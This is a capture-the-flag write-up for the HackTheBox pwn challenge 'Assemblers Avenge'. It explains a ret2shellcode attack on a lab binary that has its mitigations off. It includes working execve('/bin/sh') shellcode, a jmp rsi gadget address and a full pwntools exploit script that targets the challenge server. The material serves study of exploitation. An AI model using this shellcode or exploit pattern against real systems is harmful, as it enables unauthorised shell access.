Assemblers Avenge
Assemblers Avenge
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Amidst the harrowing conflict, our city bore the brunt of relentless onslaughts, witnessing widespread devastation that spared little, ravaging both infrastructure and spirit alike. Now, as the dust settles and the echoes of chaos fade, a clarion call emerges: assemble a force to restore justice and herald a new era of tranquility. With the remnants of our past preserved within this binary, embark on your mission to reclaim our future.
Solution Approach
Core idea: ret2shellcode. create custom shellcode.
Steps
- In this challenge we are given a 64 bit binary, statically linked, and not stripped.
BINARY PROTECTIONS
- Since it is statically linked, hence the binary does not rely on external shared libraries during runtime.
- Also notice that all the binary mitigations are off, should be easy to pwn then.
- Decompiled the binary at ghidra and reviewed the entry, we identified three functions called, those are _write, _read, and _exit.
Ghidra
-
Reviewing the _write call operations, we can see what message shall be printed.
-
Reviewing the _read function call, we can identify the buffer size (_nbytes) is 24 bytes.
-
If you noticed, our input shall stored at RSI at this function call, which gave us a hint to utilize
jmpinstruction to rsi if we use shellcode approach. -
For the _exit function call, it just printed the goodbye message then terminate the binary.
-
Since NX is disabled, hence use shellcode approach. Remembering the buffer size is 24 bytes, hence our shellcode should be at 16 bytes and the rest 8 bytes should be enough for our gadget.
JMP RSI GADGET
- No need to worry about the /bin/sh strings, because it is printed by the binary itself and there is an interesting way to grab the strings and use it for our shellcode.
THE PRINTED STRINGS
-
Based on ghidra, the offset should be at
0x4020... -
To identify the LSB, I used hexdump, then look for hex representations of /bin/sh strings.
┌──(D3v0o0Nu11㉿htb)-[~] └─$ echo "/bin/sh" | xxd -p 2f62696e2f73680a
- Now let us craft our shellcode.
mov rdi,0x402065 xor esi,esi xor edx,edx push 0x3b pop rax syscall
NOTE:
To set zero for RSI and RDX can utilize xoring esi and edx. Because
in 64-bit mode, writing to the lower 32 bits clears the upper 32 bits
of the full 64-bit register.
Thus xor esi achieves the same effect as xor rsi. Note that using 32 bit register
is to shorten the shellcode size.
- Awesome! The size is exact enough.
FULL EXPLOIT SCRIPT
from pwn import *
exe = './assemblers_avenge'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
HOST = '94.237.62.3'
IP = 46619
sh = remote(HOST, IP)
### sh = process(exe)
sc = """
mov rdi,0x402065
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
"""
log.success(f'Size: {len(asm(sc))}')
rop = ROP(elf)
p = flat([
asm(sc), # shellcode
0x000000000040106b # jmp rsi gadget
])
sh.sendline(p)
sh.interactive()
15 Got the flag! We've pwned it.
Flag
REDACTED
Lessons Learned
- Ret2shellcode.
- Create custom shellcode.
- Utilize
/bin/shstrings printed.